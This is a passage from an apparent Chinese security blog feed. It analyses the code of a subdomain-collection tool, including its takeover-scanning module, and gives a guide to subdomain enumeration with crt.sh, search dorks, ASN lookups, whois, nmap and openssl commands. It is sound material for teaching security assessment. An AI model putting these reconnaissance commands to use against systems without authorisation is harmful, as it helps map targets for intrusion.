class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gen_new_subdomains</span>(<span class="params">self</span>):</span></span><br><span class="line"> <span class="keyword">for</span> subdomain <span class="keyword">in</span> self.now_subdomains:</span><br><span class="line"> subname, parts = split_domain(subdomain)</span><br><span class="line"> subnames = subname.split(<span class="string">'.'</span>)</span><br><span class="line"> <span class="keyword">if</span> settings.altdns_increase_num:</span><br><span class="line"> self.increase_num(subname)</span><br><span class="line"> <span class="comment"># test.1.foo.example.com -> test.2.foo.example.com, test.3.foo.example.com, ...</span></span><br><span class="line"> <span class="comment"># test1.example.com -> test2.example.com, test3.example.com, ...</span></span><br><span class="line"> <span class="comment"># test01.example.com -> test02.example.com, test03.example.com, ...</span></span><br><span class="line"> <span class="keyword">if</span> settings.altdns_decrease_num:</span><br><span class="line"> self.decrease_num(subname)</span><br><span class="line"> <span class="comment"># test.4.foo.example.com -> test.3.foo.example.com, test.2.foo.example.com, ...</span></span><br><span class="line"> <span class="comment"># test4.example.com -> test3.example.com, test2.example.com, ...</span></span><br><span class="line"> <span class="comment"># test04.example.com -> test03.example.com, test02.example.com, ...</span></span><br><span class="line"> <span class="keyword">if</span> settings.altdns_replace_word:</span><br><span class="line"> self.replace_word(subname)</span><br><span class="line"> <span class="comment"># WORD1.1.foo.example.com -> WORD2.1.foo.example.com,</span></span><br><span class="line"> <span class="comment"># WORD3.1.foo.example.com,</span></span><br><span class="line"> <span class="comment"># WORD4.1.foo.example.com,</span></span><br><span class="line"> <span class="comment"># ..</span></span><br><span class="line"> <span class="keyword">if</span> settings.altdns_insert_word:</span><br><span class="line"> self.insert_word(parts)</span><br><span class="line"> <span class="comment"># test.1.foo.example.com -> WORD.test.1.foo.example.com,</span></span><br><span class="line"> <span class="comment"># test.WORD.1.foo.example.com,</span></span><br><span class="line"> <span class="comment"># test.1.WORD.foo.example.com,</span></span><br><span class="line"> <span class="comment"># test.1.foo.WORD.example.com,</span></span><br><span class="line"> <span class="comment"># ...</span></span><br><span class="line"> <span class="keyword">if</span> settings.altdns_add_word:</span><br><span class="line"> self.add_word(subnames)</span><br><span class="line"> <span class="comment"># Prepend with `-`</span></span><br><span class="line"> <span class="comment"># test.1.foo.example.com -> WORD-test.1.foo.example.com</span></span><br><span class="line"> <span class="comment"># Prepend with `-`</span></span><br><span class="line"> <span class="comment"># test.1.foo.example.com -> test-WORD.1.foo.example.com</span></span><br></pre></td></tr></table></figure><p>5种置换方式, 具体规则如上面代码注释</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line">resolved_data = resolve.run_resolve(self.domain, self.results)</span><br><span class="line"> valid_data = wildcard.deal_wildcard(resolved_data) # 强制开启泛解析处理</span><br><span class="line"> request.run_request(self.domain, valid_data, port)</span><br></pre></td></tr></table></figure><p>对生成的子域名,该模块会对其进行dns验证解析和http请求,利用的原理跟上面一样</p><h4 id="0x2-2-11-丰富结果"><a href="#0x2-2-11-丰富结果" class="headerlink" title="0x2.2.11 丰富结果"></a>0x2.2.11 丰富结果</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Information enrichment module</span></span><br><span class="line"><span class="keyword">if</span> settings.enable_enrich_module:</span><br><span class="line">enrich = Enrich(self.domain)</span><br><span class="line">enrich.run()</span><br><span class="line"> <span class="comment"># 对结果信息进行丰富</span></span><br></pre></td></tr></table></figure><p>public、cidr、asn、org、addr、isp等内容,丰富更新数据库结果,不进行域名收集</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public: 是否是公网IP</span><br><span class="line">cidr: ip2location库查询出的CIDR</span><br><span class="line">asn: ip2location库查询出的ASN</span><br><span class="line">org: </span><br><span class="line">addr:ip2region库查询出的物理地址</span><br><span class="line">isp: ip2region库查询出的网络服务提供商</span><br></pre></td></tr></table></figure><h4 id="0x2-2-12-导出数据至csv文件"><a href="#0x2-2-12-导出数据至csv文件" class="headerlink" title="0x2.2.12 导出数据至csv文件"></a>0x2.2.12 导出数据至csv文件</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">self.data = self.export_data()<span class="comment"># 导出数据至csv文件</span></span><br><span class="line">self.datas.extend(self.data)</span><br></pre></td></tr></table></figure><p>前面提及过<code>export_data</code>函数,于上面一样</p><h4 id="0x2-2-13-子域名接管扫描模块"><a href="#0x2-2-13-子域名接管扫描模块" class="headerlink" title="0x2.2.13 子域名接管扫描模块"></a>0x2.2.13 子域名接管扫描模块</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Scan subdomain takeover</span></span><br><span class="line"><span class="keyword">if</span> self.takeover:</span><br><span class="line"> subdomains = utils.get_subdomains(self.data)</span><br><span class="line"> takeover = Takeover(targets=subdomains)</span><br><span class="line"> takeover.run()</span><br><span class="line"><span class="comment"># 扫描检测是否存在子域名接管漏洞</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run</span>(<span class="params">self</span>):</span></span><br><span class="line"> start = time.time()</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Start running <span class="subst">{self.source}</span> module'</span>)</span><br><span class="line"> <span class="keyword">if</span> isinstance(self.targets, set):</span><br><span class="line"> self.subdomains = self.targets</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> self.subdomains = utils.get_domains(self.target, self.targets)</span><br><span class="line"> self.fmt = utils.check_format(self.fmt)</span><br><span class="line"> timestamp = utils.get_timestamp()</span><br><span class="line"> name = <span class="string">f'takeover_check_result_<span class="subst">{timestamp}</span>'</span></span><br><span class="line"> self.path = utils.check_path(self.path, name, self.fmt)</span><br><span class="line"> <span class="keyword">if</span> self.subdomains:</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Checking subdomain takeover'</span>)</span><br><span class="line"> self.fingerprints = get_fingerprint()</span><br><span class="line"> self.results.headers = [<span class="string">'subdomain'</span>, <span class="string">'cname'</span>]</span><br><span class="line"> <span class="comment"># 创建待检查的子域队列</span></span><br><span class="line"> <span class="keyword">for</span> domain <span class="keyword">in</span> self.subdomains:</span><br><span class="line"> self.queue.put(domain)</span><br><span class="line"> <span class="comment"># 进度线程</span></span><br><span class="line"> progress_thread = Thread(target=self.progress, name=<span class="string">'ProgressThread'</span>,</span><br><span class="line"> daemon=<span class="literal">True</span>)</span><br><span class="line"> progress_thread.start()</span><br><span class="line"> <span class="comment"># 检查线程</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(self.thread):</span><br><span class="line"> check_thread = Thread(target=self.check, name=<span class="string">f'CheckThread<span class="subst">{i}</span>'</span>,</span><br><span class="line"> daemon=<span class="literal">True</span>)</span><br><span class="line"> check_thread.start()</span><br><span class="line"></span><br><span class="line"> self.queue.join()</span><br><span class="line"> self.save()</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> logger.log(<span class="string">'FATAL'</span>, <span class="string">f'Failed to obtain domain'</span>)</span><br><span class="line"> end = time.time()</span><br><span class="line"> elapse = round(end - start, <span class="number">1</span>)</span><br><span class="line"> logger.log(<span class="string">'ALERT'</span>, <span class="string">f'<span class="subst">{self.source}</span> module takes <span class="subst">{elapse}</span> seconds, '</span></span><br><span class="line"> <span class="string">f'There are <span class="subst">{len(self.results)}</span> subdomains exists takeover'</span>)</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Subdomain takeover results: <span class="subst">{self.path}</span>'</span>)</span><br><span class="line"> logger.log(<span class="string">'INFOR'</span>, <span class="string">f'Finished <span class="subst">{self.source}</span> module'</span>)</span><br></pre></td></tr></table></figure><blockquote><p> 具体参考:<a href="https://www.hackerone.com/application-security/guide-subdomain-takeovers">https://www.hackerone.com/application-security/guide-subdomain-takeovers</a></p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">return</span> self.data</span><br></pre></td></tr></table></figure><h2 id="0x3-总结"><a href="#0x3-总结" class="headerlink" title="0x3 总结"></a>0x3 总结</h2><p> 看到这里,如果你仔细跟看几遍,那么你会明白的!最后,结合自己的需求进行二开,才是最好的利器!!</p>]]></content>
<summary type="html"><p>引言:</p>
<p>工具里用到的原理,大部分都可以通过下文找到:</p>
<p><a href="https://taonn.github.io/2021/08/03/%E5%AD%90%E5%9F%9F%E5%90%8D%E6%9E%9A%E4%B8%BE-%E6%94</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="安全开发" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91/"/>
<category term="安全工具" scheme="https://taonn.github.io/tags/%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7/"/>
</entry>
<entry>
<title>子域名枚举&收集</title>
<link href="https://taonn.github.io/2021/08/03/%E5%AD%90%E5%9F%9F%E5%90%8D%E6%9E%9A%E4%B8%BE-%E6%94%B6%E9%9B%86/"/>
<id>https://taonn.github.io/2021/08/03/%E5%AD%90%E5%9F%9F%E5%90%8D%E6%9E%9A%E4%B8%BE-%E6%94%B6%E9%9B%86/</id>
<published>2021-08-03T15:03:41.000Z</published>
<updated>2021-08-03T15:04:41.183Z</updated>
<content type="html"><![CDATA[<p>引言:信息收集 –> 特此整理 (译文扩展整理)</p><h2 id="1-what-amp-why"><a href="#1-what-amp-why" class="headerlink" title="1. what & why"></a>1. what & why</h2><p><strong>什么是子域名枚举?</strong></p><p> 子域名枚举是为一个或多个域名查找子域名的过程,它是安全评估和渗透测试前期侦查和信息收集的重要手段。</p><p><strong>为什么要子域名枚举?</strong></p><ul><li>Sub-domain enumeration can reveal a lot of domains/sub-domains that are in scope of a security assessment which in turn increases the chances of finding vulnerabilities<ul><li>子域枚举可以揭示安全评估范围内的许多域/子域,从而增加发现漏洞的机会</li></ul></li><li>Finding applications running on hidden, forgotten sub-domains may lead to uncovering critical vulnerabilities<ul><li>查找在隐藏的、被遗忘的子域上运行的应用程序可能会导致发现关键漏洞</li></ul></li><li>Often times the same vulnerabilities tend to be present across different domains/applications of the same organization<ul><li>通常,相同的漏洞往往存在于同一组织的不同域/应用程序中</li></ul></li></ul><h2 id="2-被动子域名枚举"><a href="#2-被动子域名枚举" class="headerlink" title="2. 被动子域名枚举"></a>2. 被动子域名枚举</h2><p><strong>什么是被动子域名枚举?</strong></p><ul><li>Passive sub-domain enumeration is where an attacker/tester gathers sub-domain information without generating any traffic directly between him and the infrastructure managed by the target organization<ul><li>被动子域枚举是攻击者/测试者收集子域信息而不在他和目标组织管理的基础设施之间直接产生任何流量的地方</li></ul></li><li>The objective is to be stealthy and leave low or no footprint<ul><li>目标是隐身并留下低足迹或不留下足迹</li></ul></li></ul><h3 id="2-1-证书透明度(Certificate-Transparency)"><a href="#2-1-证书透明度(Certificate-Transparency)" class="headerlink" title="2.1 证书透明度(Certificate Transparency)"></a>2.1 证书透明度(Certificate Transparency)</h3><ul><li>Under Certificate Transparency(CT), a Certificate Authority(CA) will have to publish all SSL/TLS certificates they issue in a public log<ul><li>在证书透明度 (CT) 下,证书颁发机构 (CA) 必须在公共日志中发布他们颁发的所有 SSL/TLS 证书</li></ul></li><li>Anyone can look through the CT logs and find certificates issued for a domain<ul><li>任何人都可以查看 CT 日志并找到为域颁发的证书</li></ul></li><li>CT allows website users and domain owners to identify mistakenly or worse maliciously issued certificates. This aids domain owners and browser vendors in identifying erring CAs<ul><li>CT 允许网站用户和域所有者识别错误或更糟的恶意颁发的证书。这有助于域所有者和浏览器供应商识别错误的 CA</li></ul></li></ul><blockquote><p>更多可阅读:<a href="https://blog.csdn.net/www_helloworld_com/article/details/90403233">https://blog.csdn.net/www_helloworld_com/article/details/90403233</a></p></blockquote><h4 id="2-1-1-证书透明度(CT)-开源网络情报角度"><a href="#2-1-1-证书透明度(CT)-开源网络情报角度" class="headerlink" title="2.1.1 证书透明度(CT)- 开源网络情报角度"></a>2.1.1 证书透明度(CT)- 开源网络情报角度</h4><ul><li>Certificate Transparency(CT) logs by design contain all the certificates issued by a participating CA for any given domain. SSL/TLS certificates generally contain domain names, sub-domain names and email addresses. These logs are available publicly and anyone can look through these logs. This makes them a treasure trove of information for attackers.<ul><li>证书透明度 (CT) 日志按设计包含由参与 CA 为任何给定域颁发的所有证书。 SSL/TLS 证书一般包含域名、子域名和电子邮件地址。这些日志是公开可用的,任何人都可以查看这些日志。这使它们成为攻击者的信息宝库。</li></ul></li><li>By looking through the CT logs an attacker can gather a lot of information about an organization’s infrastructure i.e. internal domains, email addresses in a completely passive manner.<ul><li>通过查看 CT 日志,攻击者可以以完全被动的方式收集有关组织基础设施(即内部域、电子邮件地址)的大量信息。</li></ul></li></ul><h4 id="2-1-2-搜索-CT-logs"><a href="#2-1-2-搜索-CT-logs" class="headerlink" title="2.1.2 搜索 CT logs"></a>2.1.2 搜索 CT logs</h4><ol><li>crtsh:<a href="https://crt.sh/">https://crt.sh/</a></li><li>censys:<a href="https://censys.io/">https://censys.io/</a></li><li>facebook:<a href="https://developers.facebook.com/tools/ct/">https://developers.facebook.com/tools/ct/</a></li><li>google:<a href="https://google.com/transparencyreport/https/ct/">https://google.com/transparencyreport/https/ct/</a></li><li>spyse:<a href="https://spyse.com/search/certificate">https://spyse.com/search/certificate</a></li><li>certspotter:<a href="https://sslmate.com/certspotter/api/">https://sslmate.com/certspotter/api/</a></li><li>entrust:<a href="https://www.entrust.com/ct-search/">https://www.entrust.com/ct-search/</a></li></ol><h5 id="2-1-2-1-crtsh"><a href="#2-1-2-1-crtsh" class="headerlink" title="2.1.2.1 crtsh"></a>2.1.2.1 crtsh</h5><p>访问<a href="https://crt.sh/%EF%BC%8C%E8%BE%93%E5%85%A5%E5%AD%90%E5%9F%9F%EF%BC%8C%E4%BE%8B%E5%A6%82%EF%BC%9A%60example.com%60">https://crt.sh/,输入子域,例如:`example.com`</a></p><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum01.png"></p><p>crtsh 也提供了使用<code>https://crt.sh/atom?q={sub-domain}</code>查询的 RSS 提要</p><p>还可以使用PostgreSQL接口来查询数据,shell脚本如下:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">!/bin/sh</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> Script by Hanno Bock - https://github.com/hannob/tlshelpers/blob/master/getsubdomain</span></span><br><span class="line"></span><br><span class="line">query="SELECT ci.NAME_VALUE NAME_VALUE FROM certificate_identity ci WHERE ci.NAME_TYPE = 'dNSName' AND reverse(lower(ci.NAME_VALUE)) LIKE reverse(lower('%.$1'));"</span><br><span class="line"></span><br><span class="line">echo $query | \</span><br><span class="line"> psql -t -h crt.sh -p 5432 -U guest certwatch | \</span><br><span class="line"> sed -e 's:^ *::g' -e 's:^*\.::g' -e '/^$/d' | \</span><br><span class="line"> sort -u | sed -e 's:*.::g'</span><br></pre></td></tr></table></figure><blockquote><p> 无psql命令,使用<code>sudo apt-get install postgresql-client</code>安装psql客户端。</p></blockquote><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum02.png"></p><h5 id="2-1-2-2-censys"><a href="#2-1-2-2-censys" class="headerlink" title="2.1.2.2 censys"></a>2.1.2.2 censys</h5><p><code>https://search.censys.io/certificates?q={sub-domain}</code></p><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum03.png"></p><p>枚举脚本:<a href="https://github.com/0xbharath/censys-enumeration">https://github.com/0xbharath/censys-enumeration</a></p><h5 id="2-1-2-3-massdns-提取唯一的可解析子域"><a href="#2-1-2-3-massdns-提取唯一的可解析子域" class="headerlink" title="2.1.2.3 massdns - 提取唯一的可解析子域"></a>2.1.2.3 massdns - 提取唯一的可解析子域</h5><blockquote><p><a href="https://github.com/blechschmidt/massdns">https://github.com/blechschmidt/massdns</a></p></blockquote><ul><li>Massdns 是一个极快的 DNS 解析器,可以在更短的时间内解析大量域名</li><li>Massdns 可以与从 CT 日志中提取子域的脚本结合使用,以快速识别唯一的可解析域名</li></ul><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum04.png"></p><h4 id="2-2-3-证书透明度(CT)的缺点"><a href="#2-2-3-证书透明度(CT)的缺点" class="headerlink" title="2.2.3 证书透明度(CT)的缺点"></a>2.2.3 证书透明度(CT)的缺点</h4><ul><li>Certificate Transparency logs are append only which means once a SSL/TLS certificate is appended to a CT log, there is no way to delete them<ul><li>证书透明度日志仅附加,这意味着一旦 SSL/TLS 证书附加到 CT 日志,就无法删除它们</li></ul></li><li>The obvious downside of this during recon is that the domain/sub-domain names found in CT Logs maynot exist anymore and thus will not resolve to any valid IP address<ul><li><strong>侦察期间明显的缺点是在 CT 日志中找到的域/子域名可能不再存在,因此将无法解析为任何有效的 IP 地址</strong></li></ul></li></ul><h3 id="2-2-搜索引擎"><a href="#2-2-搜索引擎" class="headerlink" title="2.2 搜索引擎"></a>2.2 搜索引擎</h3><p>Search engines like Google and Bing supports various advanced search operators to refine search queries. These operators are often referred to as “<code>Google dorks</code>”.</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">site:{sub<span class="literal">-domain</span>}</span><br></pre></td></tr></table></figure><h4 id="2-2-1-Google"><a href="#2-2-1-Google" class="headerlink" title="2.2.1 Google"></a>2.2.1 Google</h4><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum05.png"></p><h4 id="2-2-2-百度"><a href="#2-2-2-百度" class="headerlink" title="2.2.2 百度"></a>2.2.2 百度</h4><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum06.png"></p><h4 id="2-2-4-Bing"><a href="#2-2-4-Bing" class="headerlink" title="2.2.4 Bing"></a>2.2.4 Bing</h4><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum07.png"></p><blockquote><p><a href="https://help.bing.microsoft.com/#apex/18/en-US/10001/-1">https://help.bing.microsoft.com/#apex/18/en-US/10001/-1</a></p></blockquote><h4 id="2-2-5-Sogou"><a href="#2-2-5-Sogou" class="headerlink" title="2.2.5 Sogou"></a>2.2.5 Sogou</h4><p><a href="https://www.sogou.com/">https://www.sogou.com/</a></p><h4 id="2-2-6-360搜索"><a href="#2-2-6-360搜索" class="headerlink" title="2.2.6 360搜索"></a>2.2.6 360搜索</h4><p><a href="https://www.so.com/">https://www.so.com/</a></p><h4 id="2-2-7-Yahoo"><a href="#2-2-7-Yahoo" class="headerlink" title="2.2.7 Yahoo"></a>2.2.7 Yahoo</h4><p><a href="http://www.yahoo.com/">http://www.yahoo.com/</a></p><h4 id="2-2-8-Yandex"><a href="#2-2-8-Yandex" class="headerlink" title="2.2.8 Yandex"></a>2.2.8 Yandex</h4><p><a href="https://www.yandex.ru/">https://www.yandex.ru/</a></p><h4 id="2-2-9-Exalead"><a href="#2-2-9-Exalead" class="headerlink" title="2.2.9 Exalead"></a>2.2.9 Exalead</h4><p><a href="https://www.exalead.com/search">https://www.exalead.com/search</a></p><h4 id="2-2-10-Dogpile"><a href="#2-2-10-Dogpile" class="headerlink" title="2.2.10 Dogpile"></a>2.2.10 Dogpile</h4><p><a href="http://www.dogpile.com/">http://www.dogpile.com/</a></p><h3 id="2-3-DNS-aggregators"><a href="#2-3-DNS-aggregators" class="headerlink" title="2.3 DNS aggregators"></a>2.3 DNS aggregators</h3><p>There are a lot of the third party services that will do DNS enumeration on your behalf or they aggregate massive DNS datasets and look through them for sub-domains.</p><h4 id="2-3-1-VirusTotal"><a href="#2-3-1-VirusTotal" class="headerlink" title="2.3.1 VirusTotal"></a>2.3.1 VirusTotal</h4><p><code>https://www.virustotal.com/gui/domain/{sub-domain}/relations</code></p><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum08.png"></p><p><a href="https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/virustotal_subdomain_enum.py">https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/virustotal_subdomain_enum.py</a></p><blockquote><p>请求头需添加 <code>X-VT-Anti-Abuse-Header</code></p></blockquote><h4 id="2-3-2-DNSdumpster"><a href="#2-3-2-DNSdumpster" class="headerlink" title="2.3.2 DNSdumpster"></a>2.3.2 DNSdumpster</h4><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum09.png"></p><blockquote><p> <a href="https://github.com/PaulSec/API-dnsdumpster.com">https://github.com/PaulSec/API-dnsdumpster.com</a></p></blockquote><h4 id="2-3-3-Netcraft"><a href="#2-3-3-Netcraft" class="headerlink" title="2.3.3 Netcraft"></a>2.3.3 Netcraft</h4><p><code>https://searchdns.netcraft.com/?host={sub-domain}</code></p><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum10.png"></p><h3 id="2-4-ASN发现"><a href="#2-4-ASN发现" class="headerlink" title="2.4 ASN发现"></a>2.4 ASN发现</h3><ul><li>查找 ASN 将帮助我们识别域的网络段</li><li>使用 dig 或 host 解析给定域的 IP 地址</li><li>找到给定 IP 地址的 ASN工具<ul><li><a href="https://asn.cymru.com/cgi-bin/whois.cgi">https://asn.cymru.com/cgi-bin/whois.cgi</a></li></ul></li><li>查找给定域名的 ASN<ul><li><a href="http://bgp.he.net/">http://bgp.he.net/</a></li></ul></li></ul><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum11.png"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl -s http://ip-api.com/json/220.181.32.148 | jq -r .as</span><br><span class="line"><span class="comment"># install jq: sudo apt-get install jq</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum12.png"></p><ul><li><p>找到的 ASN 号可用于查找域的网络块</p></li><li><p>我们可以使用高级 WHOIS 查询来查找属于 ASN 的所有 IP 范围</p></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">whois -h whois.radb.net -- <span class="string">'-i origin AS36459'</span> | grep -Eo <span class="string">"([0-9.]+){4}/[0-9]+"</span> | uniq</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum13.png"></p><p>nmap脚本查找ASN</p><blockquote><p><a href="https://nmap.org/nsedoc/scripts/targets-asn.html">https://nmap.org/nsedoc/scripts/targets-asn.html</a></p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap --script targets-asn --script-args targets-asn.asn=xxxx</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum14.png"></p><h3 id="2-5-Subject-Alternate-Name-SAN"><a href="#2-5-Subject-Alternate-Name-SAN" class="headerlink" title="2.5 Subject Alternate Name(SAN)"></a>2.5 Subject Alternate Name(SAN)</h3><p>The Subject Alternative Name (SAN) is an extension to the X.509 specification that allows to specify additional host names for a single SSL certificate.</p><h4 id="2-5-1-从SAN中提取域名"><a href="#2-5-1-从SAN中提取域名" class="headerlink" title="2.5.1 从SAN中提取域名"></a>2.5.1 从SAN中提取域名</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">sed -ne 's/^\( *\)Subject:/\1/p;/X509v3 Subject Alternative Name/{</span><br><span class="line"> N;s/^.*\n//;:a;s/^\( *\)\(.*\), /\1\2\n\1/;ta;p;q; }' < <(</span><br><span class="line"> openssl x509 -noout -text -in <(</span><br><span class="line"> openssl s_client -ign_eof 2>/dev/null <<<$'HEAD / HTTP/1.0\r\n\r' \</span><br><span class="line"> -connect baidu.com:443 ) )</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/Taonn/img/main/img/subdomain-enum/subdomain-enum15.png"></p><p>也可以使用python脚本</p><ul><li><a href="https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/san_subdomain_enum.py">https://github.com/appsecco/the-art-of-subdomain-enumeration/blob/master/san_subdomain_enum.py</a></li></ul><h3 id="2-6-公共数据"><a href="#2-6-公共数据" class="headerlink" title="2.6 公共数据"></a>2.6 公共数据</h3><p>There are projects that gather Internet wide scan data and make it available to researchers and the security community. The datasets published by this projects are a treasure trove of sub-domain information. Although finding sub-domains in this massive datasets is like finding a needle in the haystack, it is worth the effort.</p><p>Following are few public datasets that aggregate information that could be of interest during sub-domain enumeration:</p><table><thead><tr><th>Name</th><th align="center">Description</th><th align="right">Price</th></tr></thead><tbody><tr><td><a href="https://scans.io/">Sonar</a></td><td align="center">FDNS, RDNS, UDP, TCP, TLS, HTTP, HTTPS scan data</td><td align="right">FREE</td></tr><tr><td><a href="https://www.censys.io/">Censys.io</a></td><td align="center">TCP, TLS, HTTP, HTTPS scan data</td><td align="right">FREE</td></tr><tr><td><a href="https://www.certificate-transparency.org/">CT</a></td><td align="center">TLS</td><td align="right">FREE</td></tr><tr><td><a href="https://czds.icann.org/">CZDS</a></td><td align="center">DNS zone files for “new” global TLDs</td><td align="right">FREE</td></tr><tr><td><a href="https://www.arin.net/">ARIN</a></td><td align="center">American IP registry information (ASN, Org, Net, Poc)</td><td align="right">FREE</td></tr><tr><td><a href="http://data.caida.org/datasets/routing/routeviews-prefix2as">CAIDA PFX2AS IPv4</a></td><td align="center">Daily snapshots of ASN to IPv4 mappings</td><td align="right">FREE</td></tr><tr><td><a href="http://data.caida.org/datasets/routing/routeviews6-prefix2as">CAIDA PFX2AS IPv6</a></td><td align="center">Daily snapshots of ASN to IPv6 mappings</td><td align="right">FREE</td></tr><tr><td><a href="https://raw.githubusercontent.com/GSA/data/gh-pages/dotgov-domains/current-full.csv">US Gov</a></td><td align="center">US government domain names</td><td align="right">FREE</td></tr><tr><td><a href="https://www.gov.uk/government/publications/list-of-gov-uk-domain-names">UK Gov</a></td><td align="center">UK government domain names</td><td align="right">FREE</td></tr><tr><td><a href="http://ftp.arin.net/pub/stats/">RIR Delegations</a></td><td align="center">Regional IP allocations</td><td align="right">FREE</td></tr><tr><td><a href="http://premiumdrops.com/">PremiumDrops</a></td><td align="center">DNS zone files for com/net/info/org/biz/xxx/sk/us TLDs</td><td align="right">$24.95/mo</td></tr><tr><td><a href="https://wwws.io/">WWWS.io</a></td><td align="center">Domains across many TLDs (~198m)</td><td align="right">$9/mo</td></tr><tr><td><a href="https://whoisxmlapi.com/">WhoisXMLAPI.com</a></td><td align="center">New domain whois data</td><td align="right">$109/mo</td></tr></tbody></table><blockquote><p>来源:<a href="https://github.com/hdm/inetdata">GitHub - hdm/inetdata: Internet data acquisition</a></p></blockquote><h4 id="2-6-1-Rapid7-Forward-DNS-数据集发现子域"><a href="#2-6-1-Rapid7-Forward-DNS-数据集发现子域" class="headerlink" title="2.6.1 Rapid7 Forward DNS 数据集发现子域"></a>2.6.1 Rapid7 Forward DNS 数据集发现子域</h4><p>参考<a 